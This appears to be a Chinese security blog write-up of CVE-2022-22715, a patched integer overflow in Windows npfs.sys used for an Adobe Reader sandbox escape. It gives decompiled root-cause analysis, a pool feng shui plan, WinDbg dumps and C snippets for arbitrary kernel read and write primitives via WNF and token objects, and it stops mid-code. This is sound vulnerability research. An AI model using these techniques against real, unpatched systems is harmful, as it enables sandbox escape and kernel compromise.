作者:昆仑实验室 k0shl
2022年2月,微软修补了我在2021天府杯中用于逃逸Adobe Reader沙箱的漏洞,该漏洞被分配为CVE-2022-22715。该漏洞存在于命名管道文件系统中,自AppContainer诞生以来已存在近10年。我们称之为“Windows脏管道”。
在本文中,我将分享Windows脏管道的根本原因和利用过程。让我们开始我们的旅程。
背景
命名管道是一种命名的、单向或双向的管道,用于管道服务器与一个或多个管道客户端之间的通信。许多浏览器和应用程序使用命名管道作为浏览器进程和渲染进程之间的IPC。当微软发布Windows 8.1时,引入了AppContainer作为一种沙箱机制,以隔离UWP应用程序的资源访问。
从那时起,一些浏览器和应用程序(如旧版Edge或Adobe Reader)将AppContainer用作其渲染进程的沙箱,当然,命名管道文件系统为支持AppContainer添加了一些机制。结果,它带来了Windows脏管道——CVE-2022-22715。
Windows脏管道的根本原因
该漏洞存在于命名管道文件系统驱动程序npfs.sys中,问题函数是npfs!NpTranslateContainerLocalAlias。当我们使用命名管道路径调用NtCreateFile时,它会命中npfs的IRP_MJ_CREATE主函数,该函数调用NpFsdCreate。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
|
__int64 __fastcall NpFsdCreate(__int64 a1, _IRP *a2)
{
[...]
if ( RelatedFileObject )
{
[...]
}
if ( UnicodeString.Length )
{
if ( UnicodeString.Length == 2 && *UnicodeString.Buffer == 0x5C && !RelatedFileObject ) // ===> 如果打开根目录
goto LABEL_47;
}
else
{
if ( !RelatedFileObject || NamedPipeType == 0x201 )
{
[...]
}
if ( NamedPipeType == 0x206 )
{
LABEL_47:
*(_OWORD *)&a2->IoStatus.Status = *(_OWORD *)NpOpenNamedPipeRootDirectory( // ===> 打开根目录
(__int64)&MasterIrp,
v3,
(__int64)FileObject);
[...]
}
}
if ( ifopenflag )
{
if ( !RelatedFileObject )
{
if ( createdisposition == 1 )
{
*(_OWORD *)&a2->IoStatus.Status = *(_OWORD *)NpOpenNamedPipePrefix( // ====> 打开已存在的目录命名管道
(__int64)v33,
v3,
FileObject,
v11,
DesiredAccess,
RequestorMode);
[...]
}
if ( (unsigned int)(createdisposition - 2) <= 1 )
{
*(_OWORD *)&a2->IoStatus.Status = *(_OWORD *)NpCreateNamedPipePrefix( // ====> 创建新的目录命名管道
(__int64)v34,
v3,
FileObject,
(struct _SECURITY_SUBJECT_CONTEXT *)v11,
DesiredAccess,
RequestorMode,
Options_high);
[...]
}
}
goto LABEL_57;
}
[...]
Status = NpTranslateAlias((__m128i *)&namedpipename, ClientToken, &v39); // =====> 创建新管道
[...]
}
|
该函数根据NtCreateFile的参数(例如ObjectAttributes的RootDirectory或CreateDisposition)分派到不同的处理函数。如果我们创建一个新的命名管道,它将进入NpTranslatedAlias。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
|
NTSTATUS __fastcall NpTranslateAlias(UNICODE_STRING *namedpipename, void *a2, _DWORD *a3)
{
[...]
*(_QWORD *)&String1.Length = 0xE000Ci64;
String1.Buffer = L"LOCAL\\";
DestinationString = 0i64;
*a3 = 0;
Length = _mm_cvtsi128_si32(*(__m128i *)a1);
String2 = *a1;
String2.Length = Length;
if ( Length >= 2u && *String2.Buffer == 0x5C )
{
Length -= 2;
String2.MaximumLength -= 2;
v7 = 1;
++String2.Buffer;
String2.Length = Length;
}
else
{
v7 = 0;
}
if ( !Length )
return 0;
if ( a2 && Length > 0xCu )
{
if ( RtlPrefixUnicodeString(&String1, &String2, 1u) ) // ====> 比较 "LOCAL\\" 和命名管道名称的前缀
return NpTranslateContainerLocalAlias(a1, a2, a3); // =====> 漏洞代码
[...]
}
|
我们可以控制的命名管道名称将传递到NpTranslateAlias,该函数将获取命名管道名称的前缀并将其与"LOCAL"进行比较,如果我们的命名管道名称使用"LOCAL"作为前缀,则将命中NpTranslateContainerLocalAlias函数。这意味着我们可以使用"\Device\NamedPipe\LOCAL\xxxxx"作为命名管道名称。
最终,我们命中了漏洞函数,是时候展示根本原因了。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
|
NTSTATUS __fastcall NpTranslateContainerLocalAlias(struct _UNICODE_STRING *namedpipename, void *a2, _DWORD *a3)
{
[...]
result = SeQueryInformationToken(a2, TokenIsAppContainer, &TokenInformation);
if ( result >= 0 )
{
result = SeQueryInformationToken(a2, TokenIsRestricted|TokenGroups, &v28);
if ( result >= 0 )
{
if ( !TokenInformation && !v28 ) // =====> 令牌必须是appcontainer或restricted
return 0;
[...]
v14 = *namedpipename;
*(_QWORD *)&v30 = *(_QWORD *)&namedpipename->Length;
v15 = v30;
v16 = (_WORD *)_mm_srli_si128((__m128i)v14, 8).m128i_u64[0];
v17 = v16;
*((_QWORD *)&v30 + 1) = v16;
if ( *v16 == '\\' )
{
v17 = v16 + 1;
ifslash = 1; // ====> 如果命名管道名称中有"\\",ifslash将设置为1
v15 = v30 - 2;
}
else
{
ifslash = 0;
}
[...] // ====> 计算新前缀长度
v21 = prefixlength + namedpipenamelength + 0x14;
v26.MaximumLength = v21;
if ( ifslash )
{
v21 += 2; // ===> 变量v21是ushort类型,它将加到0
v26.MaximumLength = v21;
}
PoolWithTag = (WCHAR *)ExAllocatePoolWithTag(PagedPool, v21, 0x6E46704Eu); // ====> 由于整数溢出,v21将为0,它将分配一个小的池。
v26.Buffer = PoolWithTag;
if ( PoolWithTag )
{
if ( ifslash )
{
v26.Buffer = PoolWithTag + 1;
v26.MaximumLength -= 2; // 如果ifslash为1,长度0减2,将导致整数下溢,长度将被设置为0xfffe
}
[...]
RtlUnicodeStringPrintf( // ====> RtlUnicodeStringPrintf将大尺寸(0xfffe)缓冲区复制到小池中,导致越界写入
&v26,
L"Sessions\\%ld\\AppContainerNamedObjects\\%wZ\\%wZ\\%wZ",
(unsigned int)v32,
&v35,
&DestinationString,
&v30);
[...]
}
[...]
}
|
首先,npfs检查进程令牌权限,看它是否是appcontainer或restricted,它必须至少满足两个条件之一,这意味着进程必须是appcontainer、受限制的沙箱进程或两者都是。然后,函数检查命名管道名称的第一个wchar是否为"",如果是,npfs将变量ifslash设置为1。之后,它计算一个新的命名管道前缀长度,新的命名管道前缀包括SID、会话号、指定字符串等,最后新前缀长度加上命名管道名称长度和0x14,如果变量ifslash为1,则总大小将再加2到最终大小。
请注意,所有变量都是ushort类型,因此存在明显的整数溢出,如果我们使用长长度的命名管道名称,最终总大小将是一个小值。
计算之后,npfs由于总大小小,分配了一个小池,然后如果ifslash为1,总大小减2,如果总大小为0,则会出现整数下溢,unicode字符串的最大长度将是一个大的ushort值0xfffe。
函数RtlUnciodeStringPrintf会将一个字符串复制到新的池缓冲区中,memcpy的长度取决于unicode字符串的最大长度,如果我们在之前触发了整数下溢,npfs会将一个大值复制到小池中,触发越界写入。
崩溃转储:
1
2
3
4
5
6
7
8
9
10
|
rax=0000000000000000 rbx=ffffe7862a687118 rcx=ffffe7862a687080
rdx=4141414141414141 rsi=4141414141414141 rdi=ffffe7862a6876d0
rip=fffff80313807bc8 rsp=ffffe40ab22d8420 rbp=ffffe7862a4e6820
r8=ffffe40ab22d8470 r9=000001c7aa2763c0 r10=fffff80313807ac0
r11=ffffe7862a687080 r12=0000000000000001 r13=0000000000000001
r14=ffffe78628cbc060 r15=0000000000000000
iopl=0 nv up ei pl zr na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00050246
nt!ExAcquirePushLockExclusiveEx+0x108:
fffff803`13807bc8 f0480fba2e00 lock bts qword ptr [rsi],0 ds:002b:41414141`41414141=????????????????
|
崩溃转储显示越界写入破坏了0x20池之后的一些其他对象。
NpTranslateContainerLocalAlias函数的目的是将包含"LOCAL"的命名管道名称转换为新的命名管道名称。例如,如果进程是appcontainer沙箱进程,它将命名管道名称转换为带有"AppContainerNamedObjects"的格式字符串,AppContainerNamedObjects是对象管理器中存储一些appcontainer相关对象的目录。Npfs最终在对象管理器中的AppContainerNamedObjects目录下创建一个新的命名管道对象。
但所有大小变量的类型都是ushort,这就是Windows脏管道的根本原因。
Windows脏管道的挑战
在介绍了Windows脏管道的根本原因之后,我想在公开我的利用之前分享CVE-2022-22715的挑战。
当我触发崩溃并确认漏洞后,我很快意识到这个漏洞并不容易利用,在利用过程中我会遇到一些挑战。
尽管npfs计算总大小时的整数溢出可能使总大小变为小值,例如0x20\0x30\0x40…,但它必须为0,因为我们需要触发整数下溢,使unicode字符串的最大长度变为一个大的ushort值以进行越界写入,如果我们将总大小设置为大于0,在总大小减2之后,它仍然是一个小值,越界写入将不会被触发。
如上所述,memcpy长度是0xfffe,这意味着我需要将超过16页的池内存复制到一个分页池段中,这不容易形成稳定的布局。
一个有趣的内核池分配机制
我利用的第一步是尝试找到一种完成池风水的方法。在这种情况下,被破坏的池必须是0x20分页池,它是一个内核低碎片堆(LFH)池。起初,我想喷射0x20 LFH池,并破坏一些0x20对象来完成利用。
但有一个问题,我无法精确控制易受攻击的0x20池在LFH桶中的位置,并且memcpy长度是0xfffe,这可能会破坏一些意外的对象或受保护的页面,导致BSoD。
我不想在我的博客中深入介绍内核池分配,有许多关于它的很棒的文章/幻灯片。现在让我分享我在尝试解决问题时使用的一个有趣的内核池分配机制。
众所周知,Windows内核通过后端分配器分配池段,通过前端分配器分配子段,一个有趣的机制是不同类型的子段可以在同一段中分配。
这引起了我的注意!
经过一些测试,我确认我可以使一个0x20 LFH子段和一个VS子段相邻。这形成了我的池风水布局。
第一阶段:准备
因为易受攻击的池是分页池,所以我选择WNF作为我的有限读写原语。我使用_WNF_STATE_DATA作为有限的越界读/写对象——管理者对象,_WNF_STATE_DATA的最大读/写范围是0x1000。我需要找到另一个对象来完成任意地址读/写——工作者对象。实际上,找到一个合适的对象并不难,该对象必须是包含指针字段的分页池对象,该指针字段可用于通过memcpy等方式读/写任意地址。
我最终决定使用_TOKEN对象作为工作者对象。如果我使用TokenDefaultDacl的TokenInformationClass调用NtSetInformationToken,nt最终会调用nt!SepAppendDefaultDacl,将用户控制的内容复制到存储在_TOKEN对象中的指针字段。
1
2
3
4
5
6
7
|
void *__fastcall SepAppendDefaultDacl(_TOKEN *TOKEN, unsigned __int16 *usercontrolled)
{
v3 = usercontrolled[1];
v4 = (_ACL *)&TOKEN->DynamicPart[*((unsigned __int8 *)a1->PrimaryGroup + 1) + 2];
result = memmove(v4, usercontrolled, usercontrolled[1]);
[...]
}
|
如果我使用TokenBnoIsolation的TokenInformationClass调用NtQueryInformationToken,nt会将一个isolationprefix缓冲区复制到用户模式内存。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
NTSTATUS __stdcall NtQueryInformationToken(
HANDLE TokenHandle,
TOKEN_INFORMATION_CLASS TokenInformationClass,
PVOID TokenInformation,
ULONG TokenInformationLength,
PULONG ReturnLength)
{
[...]
case TokenBnoIsolation:
[...]
memmove(
(char *)TokenInformation + 16,
TOKEN->BnoIsolationHandlesEntry->EntryDescriptor.IsolationPrefix.Buffer,
TOEKN->BnoIsolationHandlesEntry->EntryDescriptor.IsolationPrefix.MaximumLength);
}
[...]
}
|
因此,我可以使用管理者对象构造一个假的_TOKEN对象结构来修改相邻的工作者对象,然后使用NtSetInformationToken和NtQueryInformationToken作为任意读写原语。
我需要准备的另一个对象是0x20喷射对象,它应该完全由我控制,包括分配和释放。我发现有一个名为nt!NtRegisterThreadTerminatePort的函数。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
NTSTATUS __fastcall NtRegisterThreadTerminatePort(void *a1)
{
CurrentThread = KeGetCurrentThread();
Object = 0i64;
result = ObReferenceObjectByHandle(a1, 1u, LpcPortObjectType, CurrentThread->PreviousMode, &Object, 0i64);
if ( result >= 0 )
{
PoolWithQuotaTag = ExAllocatePoolWithQuotaTag((POOL_TYPE)9, 0x10ui64, 0x70547350u);
v4 = PoolWithQuotaTag;
if ( PoolWithQuotaTag )
{
PoolWithQuotaTag[1] = Object;
*PoolWithQuotaTag = CurrentThread[1].InitialStack;
result = 0;
CurrentThread[1].InitialStack = v4;
}
else
{
ObfDereferenceObject(Object);
return -1073741670;
}
}
return result;
}
|
该函数引用一个LpcPort对象,并为存储LpcPort对象分配一个0x20分页池,然后将其存储到_ETHREAD对象中。如果我们在一个线程中创建线程并多次调用NtRegisterThreadTerminatePort,它可以分配大量的0x20分页池。
最终,我脑海中形成了一个池风水计划:
- 喷射0x20分页池以填满LFH子段,如果所有段都已满,后端分配将分配一个新段,我们新的0x20 LFH子段将位于新段中。
- 喷射
_TOKEN对象和_WNF_STATE_DATA对象以填满VS子段,确保它们在同一页面中,前端分配最终将分配新的VS子段,它将位于步骤1创建的段中,与LFH子段相邻。
因此,我们最终的池风水布局如下图所示:
请注意,我无法预测易受攻击的池在LFH桶中的位置,但实际上我并不关心它,在这种池风水情况下,越界写入的目标是占据VS子段中的管理者对象和工作者对象,因此我不需要为易受攻击的对象制造池空洞,只需用喷射对象填满LFH桶,并确保易受攻击的对象位于LFH桶的末尾。
第二阶段:池风水
当喷射WNF对象时,我发现还有另一个名为_WNF_NAME_INSTANCES的对象被创建,它会导致前端分配创建另一个LFH段并影响我们的池风水布局。
因此,在我进行池风水之前,我创建了大量的0xd0池并释放它们,以产生大量的0xd0池空洞来存储_WNF_NAME_INSTANCES对象。
1
2
3
4
5
6
|
for (UINT i = 0x0; i < 0x4000; i++) {//0xf000 for normal pool hole
AllocateWnfObject(0xd0, &gStateName[i]);
}
for (UINT i = 0x0; i < 0x4000; i++) {//0xf000
fNtDeleteWnfStateName(&gStateName[i]);//0x30
}
|
我首先分配大量的喷射对象并喷射_TOKEN对象和_WNF_STATE_DATA对象,这将在新段中创建新的LFH子段和VS子段。我们可以通过windbg观察最终的池风水布局。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
|
0: kd> !pool ffffb0880d69e000
Pool page ffffb0880d69e000 region is Paged pool
*ffffb0880d69e000 size: 20 previous size: 0 (Allocated) *PsTp Process: ffffc10b74a1c080
Pooltag PsTp : Thread termination port block, Binary : nt!ps
ffffb0880d69e020 size: 20 previous size: 0 (Allocated) PsTp Process: ffffc10b74a1c080
ffffb0880d69e040 size: 20 previous size: 0 (Allocated) PsTp Process: ffffc10b74a1c080
ffffb0880d69e060 size: 20 previous size: 0 (Allocated) PsTp Process: ffffc10b74a1c080
ffffb0880d69e080 size: 20 previous size: 0 (Allocated) PsTp Process: ffffc10b74a1c080
ffffb0880d69e0a0 size: 20 previous size: 0 (Allocated) PsTp Process: ffffc10b74a1c080
0: kd> !pool ffffb0880d69f000
Pool page ffffb0880d69f000 region is Paged pool
*ffffb0880d69f000 size: 20 previous size: 0 (Free) *....
Owning component : Unknown (update pooltag.txt)
ffffb0880d69f020 size: 20 previous size: 0 (Free) ....
ffffb0880d69f040 size: 20 previous size: 0 (Free) ....
ffffb0880d69f060 size: 20 previous size: 0 (Free) ....
ffffb0880d69f080 size: 20 previous size: 0 (Free) ....
ffffb0880d69f0a0 size: 20 previous size: 0 (Free) ....
0: kd> !pool ffffb0880d6a0000
Pool page ffffb0880d6a0000 region is Paged pool
*ffffb0880d6a0000 size: 20 previous size: 0 (Free) *....
Owning component : Unknown (update pooltag.txt)
ffffb0880d6a0020 size: 20 previous size: 0 (Free) ....
ffffb0880d6a0040 size: 20 previous size: 0 (Free) ....
ffffb0880d6a0060 size: 20 previous size: 0 (Free) ....
ffffb0880d6a0080 size: 20 previous size: 0 (Free) ....
0: kd> !pool ffffb0880d6a1000
Pool page ffffb0880d6a1000 region is Paged pool
*ffffb0880d6a1000 size: 20 previous size: 0 (Free) *....
Owning component : Unknown (update pooltag.txt)
ffffb0880d6a1020 size: 20 previous size: 0 (Free) ....
ffffb0880d6a1040 size: 20 previous size: 0 (Free) ....
ffffb0880d6a1060 size: 20 previous size: 0 (Free) ....
ffffb0880d6a1080 size: 20 previous size: 0 (Free) ....
0: kd> !pool ffffb0880d6a2000 // ======> 新的VS子段头
Pool page ffffb0880d6a2000 region is Paged pool
*ffffb0880d6a2000 size: 30 previous size: 0 (Free) *....
Owning component : Unknown (update pooltag.txt)
ffffb0880d6a2040 size: 880 previous size: 0 (Allocated) Toke
ffffb0880d6a28d0 size: 580 previous size: 0 (Allocated) Wnf Process: ffffc10b74a1c080
ffffb0880d6a2e50 size: 190 previous size: 0 (Free) ..D.
|
如布局所示,末尾的LFH桶中有许多空闲的LFH池空洞,新的VS子段紧邻LFH桶,如果我们现在创建易受攻击的对象,它将位于其中一个空闲的LFH池空洞中。
请注意,易受攻击的对象可能不位于最后一个LFH页面中,但这并不必要,越界写入可能会破坏LFH桶,但这不会影响我们的利用。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
0: kd> r
rax=ffffb0880d69e750 rbx=0000000000000002 rcx=0000000000000028
rdx=0000000000000000 rsi=0000000000000000 rdi=ffffe4835a302301
rip=fffff800401c2b31 rsp=ffffe4835a301e00 rbp=ffffe4835a301f00
r8=0000000000000fff r9=00000000000004ca r10=000000006e46704e
r11=0000000000001001 r12=ffffe4835a302220 r13=ffffe4835a302310
r14=0000000000000001 r15=000000000000ff01
iopl=0 nv up ei ng nz na pe nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00040282
Npfs!NpTranslateContainerLocalAlias+0x391:
fffff800`401c2b31 4889442450 mov qword ptr [rsp+50h],rax ss:0018:ffffe483`5a301e50=0000000000000000
0: kd> !pool @rax // ===> 易受攻击的池位于LFH桶的空闲空洞之一
Pool page ffffb0880d69e750 region is Paged pool
ffffb0880d69e700 size: 20 previous size: 0 (Allocated) PsTp Process: ffffc10b74a1c080
ffffb0880d69e720 size: 20 previous size: 0 (Allocated) PsTp Process: ffffc10b74a1c080
*ffffb0880d69e740 size: 20 previous size: 0 (Allocated) *NpFn
Pooltag NpFn : Name block, Binary : npfs.sys
ffffb0880d69e760 size: 20 previous size: 0 (Allocated) PsTp Process: ffffc10b74a1c080
ffffb0880d69e780 size: 20 previous size: 0 (Allocated) PsTp Process: ffffc10b74a1c080
ffffb0880d69e7a0 size: 20 previous size: 0 (Allocated) PsTp Process: ffffc10b74a1c080
ffffb0880d69e7c0 size: 20 previous size: 0 (Allocated) PsTp Process: ffffc10b74a1c080
ffffb0880d69e7e0 size: 20 previous size: 0 (Allocated) PsTp Process: ffffc10b74a1c080
ffffb0880d69e800 size: 20 previous size: 0 (Allocated) PsTp Process: ffffc10b74a1c080
ffffb0880d69e820 size: 20 previous size: 0 (Allocated) PsTp Process: ffffc10b74a1c080
ffffb0880d69e840 size: 20 previous size: 0 (Free) MPCt
ffffb0880d69e860 size: 20 previous size: 0 (Free) MPCt
ffffb0880d69e880 size: 20 previous size: 0 (Allocated) PsTp Process: ffffc10b74a1c080
ffffb0880d69e8a0 size: 20 previous size: 0 (Allocated) PsTp Process: ffffc10b74a1c080
ffffb0880d69e8c0 size: 20 previous size: 0 (Free) MPCt
ffffb0880d69e8e0 size: 20 previous size: 0 (Allocated) PsTp Process: ffffc10b74a1c080
|
然后在调用RtlUnicodeStringPrintf函数后,它将越界写入大约0xfffe内存大小的内容,这会破坏LFH池空间和VS池空间。损坏的数据是我们可以控制的命名管道名称,我们需要计算恶意负载以修改_WNF_STAT_DATA->DataSize。
当我们创建_WNF_STATE_DATA时,我们不能将DataSize设置为大于_WNF_STATE_DATA数据区域,但触发漏洞后,我们可以将其修改为任何值,DataSize的最大值是0x1000,我们可以获得有限的越界读/写原语来修改下一页的_TOKEN对象。
1
2
3
|
0: kd> dq ffffb0880d6a28d0 l4
ffffb088`0d6a28d0 00001000`00001000 00001000`00001000
ffffb088`0d6a28e0 00001000`00001000 00001000`00001000
|
第三阶段:获取任意地址读/写
在第二阶段,我们进行了池风水,并获得了使用_WNF_STATE_DATA对象的有限读/写原语,但有一个巨大的问题。我如何知道我需要使用哪个对象句柄?
如果我破坏了对象并通过句柄使用它,被破坏的对象头数据将导致系统崩溃。现在,我需要找出有用的管理者对象(_WNF_STAT_DATA)名称和工作者对象(_TOKEN)句柄。
我想到了一个解决方案。对于管理者对象,当我们尝试从_WNF_STATE_DATA数据区域读取数据时,我们使用指定的长度调用NtQueryWnfStateData,如果长度大于DataSize,它将返回nt错误代码0xc0000023。对于工作者对象,当我们创建_TOKEN对象时,_TOKEN对象中有一个唯一的LUID,它可以通过使用TokenStatics的TokenInformationClass调用NtQueryInformationToken来查询,它名为TokenId,我们可以在喷射_TOKEN对象时查询它们并将其存储在数组中。
因为_WNF_NAME_INSTANCES不会被破坏,我们可以正常使用NtUpdateWnfStateData和NtQueryWnfStateData。
我已经在第二阶段破坏了一些_WNF_STATE_DATA对象,并将DataSize修改为0x1000,我们可以使用带有0x1000长度参数的NtQueryWnfStateData来找出被破坏的_WNF_STATE_DATA对象,并读取越界数据以找到最后一个被破坏的页面,与损坏页面相邻的正常页面。
读取越界数据不会破坏对象结构,因此我们可以使用带有0x1000长度参数的NtQueryWnfStateData,如果_WNF_STATE_DATA对象未被破坏,它将返回0xC0000023,如果被破坏,它将返回越界数据。
如果越界数据是恶意数据,我可以确定_WNF_STATA_DATA不在最后一个被破坏的页面中,我使用这种方法找出最后一个被破坏的页面,以便我可以读取下一个包含_TOKEN对象结构的正常页面。最后一个被破坏页面中的_WNF_STATE_DATA对象是我们的管理者对象。
_TOKEN对象中有一个LUID字段,我们从越界读取数据中获取它,并在之前创建的数组中匹配此LUID,这样我们最终找到了工作者对象。
1
2
3
4
5
6
7
8
9
10
11
|
0: kd> dq 0xffffb0880d6ae000 // ===> 最后一个被破坏的页面
ffffb088`0d6ae000 00010001`00010001 00010001`00010001
ffffb088`0d6ae010 00010001`00010001 00010001`00010001
ffffb088`0d6ae020 00010001`00010001 00010001`00010001
ffffb088`0d6ae030 00010001`00010001 00010001`00010001
0: kd> dq 0xffffb0880d6af000 // ===> 第一个正常页面
ffffb088`0d6af000 656b6f54`03880000 00000000`00000000
ffffb088`0d6af010 000007b8`00001000 00000000`00000108
ffffb088`0d6af020 ffffc10b`775e8b80 00000000`00000000
ffffb088`0d6af030 00000000`00008000 00000000`00000001
ffffb088`0d6af040 00000000`00000000 00000000`0008006d
|
到目前为止,我获得了管理者对象名称和工作者对象句柄,然后我构造了一个0x1000的假数据,包括假的_TOKEN对象结构和_WNF_STATE_DATA结构。我之前已经通过调用NtQueryWnfStateData获得了正常的_TOKEN对象结构内容,我只需要更改一些值以获得任意读/写原语。
读原语:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
FakeSepCached = malloc(0x48);
ZeroMemory(FakeSepCached, 0x48);
*(USHORT*)((ULONG_PTR)FakeSepCached + 0x2A) = 0x8;
*(UINT64*)((ULONG_PTR)FakeSepCached + 0x30) = ReadAddress;
CorruptionData = malloc(OriginalSize);
ZeroMemory(CorruptionData, OriginalSize);
CopyMemory(CorruptionData, gOccupyWorkerToken, OriginalSize);
*(PUINT64)((UINT64)CorruptionData + TokenOffset + 0x480) = (UINT64)FakeSepCached;
*(PUINT64)((UINT64)CorruptionData + TokenOffset - 0x30) = (UINT64)3;
Status = fNtUpdateWnfStateData(&gWorkerStateName, CorruptionData, OriginalSize, &TypeID, NULL, NULL, NULL); // ===> 控制管理者对象
if (Status < 0) {
free(CorruptionData);
free(FakeSepCached);
return FALSE;
}
// ===> 任意读
Status = fNtQueryInformationToken(
TokenHandle,
TokenBnoIsolation,
&RecvBuffer,
RecvBufferSize,
&RecvBufferSize);
|
写原语:
1
2
3
4
5
6
7
8
9
10
11
12
|
CorruptionData = (PCHAR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, OriginalSize);
CopyMemory(CorruptionData, gOccupyWorkerToken, OriginalSize);
*(PUINT64)(CorruptionData + TokenOffset - 0x30) = 2;
*(PUINT64)(CorruptionData + TokenOffset + 0x8c) = 0x10000;
*(PUINT64)(CorruptionData + TokenOffset + 0xa8) = (UINT64)pETHREAD + 0x1f0;
*(PUINT64)(CorruptionData + TokenOffset + 0xb0) = (UINT64)pETHREAD + 0x1e8;
*(PUINT64)(CorruptionData + TokenOffset + 0xb8) = (UINT64)0;
fNtUpdateWnfStateData(&gWorkerStateName, CorruptionData, OriginalSize, &TypeID, NULL, NULL, NULL);// ===> 控制管理者对象
pACL
|